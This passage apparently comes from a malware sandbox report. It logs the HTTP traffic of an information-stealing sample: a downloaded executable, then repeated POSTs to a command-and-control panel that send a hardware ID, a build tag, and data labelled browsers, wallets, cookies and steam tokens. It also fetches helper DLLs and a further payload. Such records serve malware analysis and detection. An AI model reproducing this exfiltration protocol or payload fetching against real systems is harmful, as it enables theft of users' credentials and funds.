00 00 00 40 00 00 e0 6d 69 74 74 67 69 65 76 00 10 00 00 00 d0 4a 00 00 06 00 00 00 98 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 4a 00 00 22 00 00 00 9e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 04:48:10 GMTContent-Type: application/octet-streamContent-Length: 4401664Last-Modified: Mon, 25 Nov 2024 02:31:55 GMTConnection: keep-aliveETag: "6743e19b-432a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 a0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 d0 c4 00 00 04 00 00 de fa 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 84 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 84 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 38 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 67 70 66 73 65 69 71 00 80 1b 00 00 10 a9 00 00 76 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 68 75 7a 62 6b 65 7a 00 10 00 00 00 90 c4 00 00 06 00 00 00 02 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 c4 00 00 22 00 00 00 08 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDHIDAAFHIIDGDBFIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 33 45 41 30 45 30 31 34 34 46 34 30 33 33 30 36 30 30 37 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 49 44 41 41 46 48 49 49 44 47 44 42 46 49 45 2d 2d 0d 0a Data Ascii: ------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="hwid"7E3EA0E0144F4033060071------ECGDHIDAAFHIIDGDBFIEContent-Disposition: form-data; name="build"mars------ECGDHIDAAFHIIDGDBFIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"browsers------HJEBGHIEBFIJKECBKFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 2d 2d 0d 0a Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="message"plugins------HDBKJEGIEBFHCAAKKEBA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEGHJJDGHCAKEBGIJKJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------IIEGHJJDGHCAKEBGIJKJContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------IIEGHJJDGHCAKEBGIJKJContent-Disposition: form-data; name="message"fplugins------IIEGHJJDGHCAKEBGIJKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFIHost: 185.215.113.206Content-Length: 5707Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBGIIECGHCAKECAFBFHHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 49 49 45 43 47 48 43 41 4b 45 43 41 46 42 46 48 2d 2d 0d 0a Data Ascii: ------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------GCBGIIECGHCAKECAFBFHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------GCBGIIECGHCAKECAFBFH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBKKKEHDHDGDGCFBKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DAEBKKKEHDHDGDGCFBKJContent-Disposition: form-data; name="file"------DAEBKKKEHDHDGDGCFBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCBHost: 185.215.113.206Content-Length: 3083Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="file"------KFIEHIIIJDAAAAAAKECB--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECGHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFCBAKKFBGCBFHJDGHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="message"wallets------DBKKFCBAKKFBGCBFHJDG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAAEGIJKEGHIDGCBAEBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 41 45 47 49 4a 4b 45 47 48 49 44 47 43 42 41 45 42 2d 2d 0d 0a Data Ascii: ------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------HCAAEGIJKEGHIDGCBAEBContent-Disposition: form-data; name="message"files------HCAAEGIJKEGHIDGCBAEB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="file"------DAKFIDHDGIEGCAKFIIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKFCBFHJDHJKECAKEHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------CBAKFCBFHJDHJKECAKEHContent-Disposition: form-data; name="token"674ca04679a774cb1adf4a4cca7f4d785f8ed47e3d688e75d8323680e13d476501c909d0------CBAKFCBFHJDHJKECAKEHContent-Disposition: form-data; name="message"ybncbhylepme------CBAKFCBFHJDHJKECAKEH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBKKKEHDHDGDGCFBKJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 4b 4b 4b 45 48 44 48 44 47 44 47 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 34 63 61 30 34 36 37 39 61 37 37 34 63 62 31 61 64 66 34 61 34 63 63 61 37 66 34 64 37 38 35 66 38 65 64 34 37 65 33 64 36 38 38 65 37 35 64 38 33 32 33 36 38 30 65 31 33 64 34 37 36 35 30 31 63 39 30 39 64 30 0d 0a 2d 2d 2d 2d 